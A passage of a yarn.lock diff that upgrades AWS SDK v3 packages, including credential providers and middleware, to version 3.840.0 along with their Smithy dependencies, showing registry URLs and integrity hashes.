+  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.840.0.tgz#8eb2c2ba7c258ebbc13d8ea6c45b619b145dc147"
+  integrity sha512-x3Zgb39tF1h2XpU+yA4OAAQlW6LVEfXNlSedSYJ7HGKXqA/E9h3rWQVpYfhXXVVsLdYXdNw5KBUkoAoruoZSZA==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/core" "^3.3.3"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/signature-v4" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.6"
-    "@smithy/types" "^4.2.0"
-    "@smithy/util-middleware" "^4.0.2"
+    "@aws-sdk/types" "3.840.0"
+    "@aws-sdk/xml-builder" "3.821.0"
+    "@smithy/core" "^3.6.0"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/signature-v4" "^5.1.2"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-base64" "^4.0.0"
+    "@smithy/util-body-length-browser" "^4.0.0"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-utf8" "^4.0.0"
     fast-xml-parser "4.4.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-cognito-identity@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.817.0.tgz#846db6edb05df88e98b2c775f582832addc808d7"
-  integrity sha512-+dzgWGmdmMNDdeSF+VvONN+hwqoGKX5A6Z3+siMO4CIoKWN7u5nDOx/JLjTGdVQji3522pJjJ+o9veQJNWOMRg==
+"@aws-sdk/credential-provider-cognito-identity@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.840.0.tgz#fb911466aa782f15f76f26f852a87994f6f92856"
+  integrity sha512-p1RaMVd6+6ruYjKsWRCZT/jWhrYfDKbXY+/ScIYTvcaOOf9ArMtVnhFk3egewrC7kPXFGRYhg2GPmxRotNYMng==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/client-cognito-identity" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-env@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.816.0.tgz#a5e1dd3a23403f6c8ea4cbdcbf06d7986bcd1e81"
-  integrity sha512-wUJZwRLe+SxPxRV9AENYBLrJZRrNIo+fva7ZzejsC83iz7hdfq6Rv6B/aHEdPwG/nQC4+q7UUvcRPlomyrpsBA==
+"@aws-sdk/credential-provider-env@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.840.0.tgz#0410a67ed6508ff642df17090d2f4fb61c1e329a"
+  integrity sha512-EzF6VcJK7XvQ/G15AVEfJzN2mNXU8fcVpXo4bRyr1S6t2q5zx6UPH/XjDbn18xyUmOq01t+r8gG+TmHEVo18fA==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-http@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.816.0.tgz#35e5188e9c0143c48d02a9c7ca08f9e6e4821ed1"
-  integrity sha512-gcWGzMQ7yRIF+ljTkR8Vzp7727UY6cmeaPrFQrvcFB8PhOqWpf7g0JsgOf5BSaP8CkkSQcTQHc0C5ZYAzUFwPg==
+"@aws-sdk/credential-provider-http@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.840.0.tgz#46ee53ff2f22adf4d5cdb83be946ea6554dfc280"
+  integrity sha512-wbnUiPGLVea6mXbUh04fu+VJmGkQvmToPeTYdHE8eRZq3NRDi3t3WltT+jArLBKD/4NppRpMjf2ju4coMCz91g==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/fetch-http-handler" "^5.0.2"
-    "@smithy/node-http-handler" "^4.0.4"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.6"
-    "@smithy/types" "^4.2.0"
-    "@smithy/util-stream" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-stream" "^4.2.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-ini@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.817.0.tgz#eb0d2dab8fc861cc0871e1a01bac6ac3f84a3b8b"
-  integrity sha512-kyEwbQyuXE+phWVzloMdkFv6qM6NOon+asMXY5W0fhDKwBz9zQLObDRWBrvQX9lmqq8BbDL1sCfZjOh82Y+RFw==
+"@aws-sdk/credential-provider-ini@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.840.0.tgz#d4c53a45803caa32a31033ae12cbdf5ab8ba0400"
+  integrity sha512-7F290BsWydShHb+7InXd+IjJc3mlEIm9I0R57F/Pjl1xZB69MdkhVGCnuETWoBt4g53ktJd6NEjzm/iAhFXFmw==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/credential-provider-env" "3.816.0"
-    "@aws-sdk/credential-provider-http" "3.816.0"
-    "@aws-sdk/credential-provider-process" "3.816.0"
-    "@aws-sdk/credential-provider-sso" "3.817.0"
-    "@aws-sdk/credential-provider-web-identity" "3.817.0"
-    "@aws-sdk/nested-clients" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/credential-provider-imds" "^4.0.4"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/credential-provider-env" "3.840.0"
+    "@aws-sdk/credential-provider-http" "3.840.0"
+    "@aws-sdk/credential-provider-process" "3.840.0"
+    "@aws-sdk/credential-provider-sso" "3.840.0"
+    "@aws-sdk/credential-provider-web-identity" "3.840.0"
+    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/credential-provider-imds" "^4.0.6"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-node@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.817.0.tgz#ffa311d3917535a24a3319ff01f430c5ba4139e0"
-  integrity sha512-b5mz7av0Lhavs1Bz3Zb+jrs0Pki93+8XNctnVO0drBW98x1fM4AR38cWvGbM/w9F9Q0/WEH3TinkmrMPrP4T/w==
+"@aws-sdk/credential-provider-node@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.840.0.tgz#9320c35fd0597661b255465f3650b56ddd05a40d"
+  integrity sha512-KufP8JnxA31wxklLm63evUPSFApGcH8X86z3mv9SRbpCm5ycgWIGVCTXpTOdgq6rPZrwT9pftzv2/b4mV/9clg==
   dependencies:
-    "@aws-sdk/credential-provider-env" "3.816.0"
-    "@aws-sdk/credential-provider-http" "3.816.0"
-    "@aws-sdk/credential-provider-ini" "3.817.0"
-    "@aws-sdk/credential-provider-process" "3.816.0"
-    "@aws-sdk/credential-provider-sso" "3.817.0"
-    "@aws-sdk/credential-provider-web-identity" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/credential-provider-imds" "^4.0.4"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/credential-provider-env" "3.840.0"
+    "@aws-sdk/credential-provider-http" "3.840.0"
+    "@aws-sdk/credential-provider-ini" "3.840.0"
+    "@aws-sdk/credential-provider-process" "3.840.0"
+    "@aws-sdk/credential-provider-sso" "3.840.0"
+    "@aws-sdk/credential-provider-web-identity" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/credential-provider-imds" "^4.0.6"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-process@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.816.0.tgz#8fa3694b8d17d4e446de038e74d5a177d25d86f0"
-  integrity sha512-9Tm+AxMoV2Izvl5b9tyMQRbBwaex8JP06HN7ZeCXgC5sAsSN+o8dsThnEhf8jKN+uBpT6CLWKN1TXuUMrAmW1A==
+"@aws-sdk/credential-provider-process@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.840.0.tgz#ac775db4d4e89fae7966da9b1fde4308f2ceca7a"
+  integrity sha512-HkDQWHy8tCI4A0Ps2NVtuVYMv9cB4y/IuD/TdOsqeRIAT12h8jDb98BwQPNLAImAOwOWzZJ8Cu0xtSpX7CQhMw==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-sso@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.817.0.tgz#e23361a57f6aa72417847d568d7fb807a3c7ebfc"
-  integrity sha512-gFUAW3VmGvdnueK1bh6TOcRX+j99Xm0men1+gz3cA4RE+rZGNy1Qjj8YHlv0hPwI9OnTPZquvPzA5fkviGREWg==
+"@aws-sdk/credential-provider-sso@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.840.0.tgz#44dc39fc4e8a619a5aed0fa2f1663de3a54a3304"
+  integrity sha512-2qgdtdd6R0Z1y0KL8gzzwFUGmhBHSUx4zy85L2XV1CXhpRNwV71SVWJqLDVV5RVWVf9mg50Pm3AWrUC0xb0pcA==
   dependencies:
-    "@aws-sdk/client-sso" "3.817.0"
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/token-providers" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/client-sso" "3.840.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/token-providers" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-web-identity@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.817.0.tgz#7d3c9c5af5a5d17ea877feda57b92ba075df64a8"
-  integrity sha512-A2kgkS9g6NY0OMT2f2EdXHpL17Ym81NhbGnQ8bRXPqESIi7TFypFD2U6osB2VnsFv+MhwM+Ke4PKXSmLun22/A==
+"@aws-sdk/credential-provider-web-identity@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.840.0.tgz#5db983a9fb92110fa6e3f61e2a982a96f571c5c4"
+  integrity sha512-dpEeVXG8uNZSmVXReE4WP0lwoioX2gstk4RnUgrdUE3YaPq8A+hJiVAyc3h+cjDeIqfbsQbZm9qFetKC2LF9dQ==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/nested-clients" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@aws-sdk/credential-providers@^3.186.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.817.0.tgz#b8db526715d8ac61e7d4650e4f6bab669429d204"
-  integrity sha512-i6Q2MyktWHG4YG+EmLlnXTgNVjW9/yeNHSKzF55GTho5fjqfU+t9beJfuMWclanRCifamm3N5e5OCm52rVDdTQ==
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.840.0.tgz#68a1febaeb564527b96515ee0e5767405e208550"
+  integrity sha512-+CxYdGd+uM4NZ9VUvFTU1c/H61qhDB4q362k8xKU+bz24g//LDQ5Mpwksv8OUD1en44v4fUwgZ4SthPZMs+eFQ==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.817.0"
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/credential-provider-cognito-identity" "3.817.0"
-    "@aws-sdk/credential-provider-env" "3.816.0"
-    "@aws-sdk/credential-provider-http" "3.816.0"
-    "@aws-sdk/credential-provider-ini" "3.817.0"
-    "@aws-sdk/credential-provider-node" "3.817.0"
-    "@aws-sdk/credential-provider-process" "3.816.0"
-    "@aws-sdk/credential-provider-sso" "3.817.0"
-    "@aws-sdk/credential-provider-web-identity" "3.817.0"
-    "@aws-sdk/nested-clients" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/config-resolver" "^4.1.2"
-    "@smithy/core" "^3.3.3"
-    "@smithy/credential-provider-imds" "^4.0.4"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/client-cognito-identity" "3.840.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/credential-provider-cognito-identity" "3.840.0"
+    "@aws-sdk/credential-provider-env" "3.840.0"
+    "@aws-sdk/credential-provider-http" "3.840.0"
+    "@aws-sdk/credential-provider-ini" "3.840.0"
+    "@aws-sdk/credential-provider-node" "3.840.0"
+    "@aws-sdk/credential-provider-process" "3.840.0"
+    "@aws-sdk/credential-provider-sso" "3.840.0"
+    "@aws-sdk/credential-provider-web-identity" "3.840.0"
+    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/config-resolver" "^4.1.4"
+    "@smithy/core" "^3.6.0"
+    "@smithy/credential-provider-imds" "^4.0.6"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-host-header@3.804.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.804.0.tgz#e4c2180cfc75f19c697974383324509fa104d7a3"
-  integrity sha512-bum1hLVBrn2lJCi423Z2fMUYtsbkGI2s4N+2RI2WSjvbaVyMSv/WcejIrjkqiiMR+2Y7m5exgoKeg4/TODLDPQ==
+"@aws-sdk/middleware-host-header@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.840.0.tgz#7c8b163fb13d588b87523b53f7d98de73262e83f"
+  integrity sha512-ub+hXJAbAje94+Ya6c6eL7sYujoE8D4Bumu1NUI8TXjUhVVn0HzVWQjpRLshdLsUp1AW7XyeJaxyajRaJQ8+Xg==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-logger@3.804.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.804.0.tgz#9b7860d0193ec8647a1102aa6ffad070e3260513"
-  integrity sha512-w/qLwL3iq0KOPQNat0Kb7sKndl9BtceigINwBU7SpkYWX9L/Lem6f8NPEKrC9Tl4wDBht3Yztub4oRTy/horJA==
+"@aws-sdk/middleware-logger@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.840.0.tgz#d92ade1817ac7dc78a3567c1239bb1a3f3b1b57a"
+  integrity sha512-lSV8FvjpdllpGaRspywss4CtXV8M7NNNH+2/j86vMH+YCOZ6fu2T/TyFd/tHwZ92vDfHctWkRbQxg0bagqwovA==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-recursion-detection@3.804.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.804.0.tgz#797bbe72c765e83a1d4c259db9799b77831e1fbb"
-  integrity sha512-zqHOrvLRdsUdN/ehYfZ9Tf8svhbiLLz5VaWUz22YndFv6m9qaAcijkpAOlKexsv3nLBMJdSdJ6GUTAeIy3BZzw==
+"@aws-sdk/middleware-recursion-detection@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.840.0.tgz#8ea2c00af258db0b64ea394e044cedb6101b5ffd"
+  integrity sha512-Gu7lGDyfddyhIkj1Z1JtrY5NHb5+x/CRiB87GjaSrKxkDaydtX2CU977JIABtt69l9wLbcGDIQ+W0uJ5xPof7g==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-user-agent@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.816.0.tgz#6eb00bbcb44304ff9df53dbb53dc072638831760"
-  integrity sha512-bHRSlWZ0xDsFR8E2FwDb//0Ff6wMkVx4O+UKsfyNlAbtqCiiHRt5ANNfKPafr95cN2CCxLxiPvFTFVblQM5TsQ==
+"@aws-sdk/middleware-user-agent@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.840.0.tgz#3702abf6c7cf86e776e695427a4da0bc13bcc994"
+  integrity sha512-hiiMf7BP5ZkAFAvWRcK67Mw/g55ar7OCrvrynC92hunx/xhMkrgSLM0EXIZ1oTn3uql9kH/qqGF0nqsK6K555A==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/types" "3.804.0"
-    "@aws-sdk/util-endpoints" "3.808.0"
-    "@smithy/core" "^3.3.3"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.840.0"
+    "@smithy/core" "^3.6.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/nested-clients@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.817.0.tgz#4df7ff486cb918fa567bd29581452eeac7c05055"
-  integrity sha512-vQ2E06A48STJFssueJQgxYD8lh1iGJoLJnHdshRDWOQb8gy1wVQR+a7MkPGhGR6lGoS0SCnF/Qp6CZhnwLsqsQ==
+"@aws-sdk/nested-clients@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.840.0.tgz#a4d167b358756838341fc7d282ee273c00259c49"
+  integrity sha512-LXYYo9+n4hRqnRSIMXLBb+BLz+cEmjMtTudwK1BF6Bn2RfdDv29KuyeDRrPCS3TwKl7ZKmXUmE9n5UuHAPfBpA==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/middleware-host-header" "3.804.0"
-    "@aws-sdk/middleware-logger" "3.804.0"
-    "@aws-sdk/middleware-recursion-detection" "3.804.0"
-    "@aws-sdk/middleware-user-agent" "3.816.0"
-    "@aws-sdk/region-config-resolver" "3.808.0"
-    "@aws-sdk/types" "3.804.0"
-    "@aws-sdk/util-endpoints" "3.808.0"
-    "@aws-sdk/util-user-agent-browser" "3.804.0"
-    "@aws-sdk/util-user-agent-node" "3.816.0"
-    "@smithy/config-resolver" "^4.1.2"
-    "@smithy/core" "^3.3.3"
-    "@smithy/fetch-http-handler" "^5.0.2"
-    "@smithy/hash-node" "^4.0.2"
-    "@smithy/invalid-dependency" "^4.0.2"
-    "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.6"
-    "@smithy/middleware-retry" "^4.1.7"
-    "@smithy/middleware-serde" "^4.0.5"
-    "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/node-http-handler" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.6"
-    "@smithy/types" "^4.2.0"
-    "@smithy/url-parser" "^4.0.2"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/middleware-host-header" "3.840.0"
+    "@aws-sdk/middleware-logger" "3.840.0"
+    "@aws-sdk/middleware-recursion-detection" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/region-config-resolver" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-user-agent-browser" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@smithy/config-resolver" "^4.1.4"
+    "@smithy/core" "^3.6.0"
+    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/hash-node" "^4.0.4"
+    "@smithy/invalid-dependency" "^4.0.4"
+    "@smithy/middleware-content-length" "^4.0.4"
+    "@smithy/middleware-endpoint" "^4.1.13"
+    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-serde" "^4.0.8"
+    "@smithy/middleware-stack" "^4.0.4"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.14"
-    "@smithy/util-defaults-mode-node" "^4.0.14"
-    "@smithy/util-endpoints" "^3.0.4"
-    "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.3"
+    "@smithy/util-defaults-mode-browser" "^4.0.21"
+    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-endpoints" "^3.0.6"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-retry" "^4.0.6"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/region-config-resolver@3.808.0":
-  version "3.808.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.808.0.tgz#76b037215c39b01361b9c34b7205f0b52513607c"
-  integrity sha512-9x2QWfphkARZY5OGkl9dJxZlSlYM2l5inFeo2bKntGuwg4A4YUe5h7d5yJ6sZbam9h43eBrkOdumx03DAkQF9A==
+"@aws-sdk/region-config-resolver@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.840.0.tgz#240690ead3131c4c47186b4929776439fe2f6729"
+  integrity sha512-Qjnxd/yDv9KpIMWr90ZDPtRj0v75AqGC92Lm9+oHXZ8p1MjG5JE2CW0HL8JRgK9iKzgKBL7pPQRXI8FkvEVfrA==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-config-provider" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.2"
+    "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@aws-sdk/token-providers@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.817.0.tgz#138a0b4aac9ddbd16c7244a8a0618334804572c1"
-  integrity sha512-CYN4/UO0VaqyHf46ogZzNrVX7jI3/CfiuktwKlwtpKA6hjf2+ivfgHSKzPpgPBcSEfiibA/26EeLuMnB6cpSrQ==
+"@aws-sdk/token-providers@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.840.0.tgz#4545a115bb2a9ed6e0b5631f7b97d10f8a5eb0dc"
+  integrity sha512-6BuTOLTXvmgwjK7ve7aTg9JaWFdM5UoMolLVPMyh3wTv9Ufalh8oklxYHUBIxsKkBGO2WiHXytveuxH6tAgTYg==
   dependencies:
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/nested-clients" "3.817.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/types@3.804.0", "@aws-sdk/types@^3.222.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.804.0.tgz#b70a734fa721450cf8a513cec0c276001a5d154f"
-  integrity sha512-A9qnsy9zQ8G89vrPPlNG9d1d8QcKRGqJKqwyGgS0dclJpwy6d1EWgQLIolKPl6vcFpLoe6avLOLxr+h8ur5wpg==
+"@aws-sdk/types@3.840.0", "@aws-sdk/types@^3.222.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.840.0.tgz#aadc6843d5c1f24b3d1d228059e702a355bf07c3"
+  integrity sha512-xliuHaUFZxEx1NSXeLLZ9Dyu6+EJVQKEoD+yM+zqUo3YDZ7medKJWY6fIOKiPX/N7XbLdBYwajb15Q7IL8KkeA==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/util-endpoints@3.808.0":
-  version "3.808.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.808.0.tgz#a3d269c4d5a6536d6387ba3cd66876f5b52ce913"
-  integrity sha512-N6Lic98uc4ADB7fLWlzx+1uVnq04VgVjngZvwHoujcRg9YDhIg9dUDiTzD5VZv13g1BrPYmvYP1HhsildpGV6w==
+"@aws-sdk/util-endpoints@3.840.0":
+  version "3.840.0"
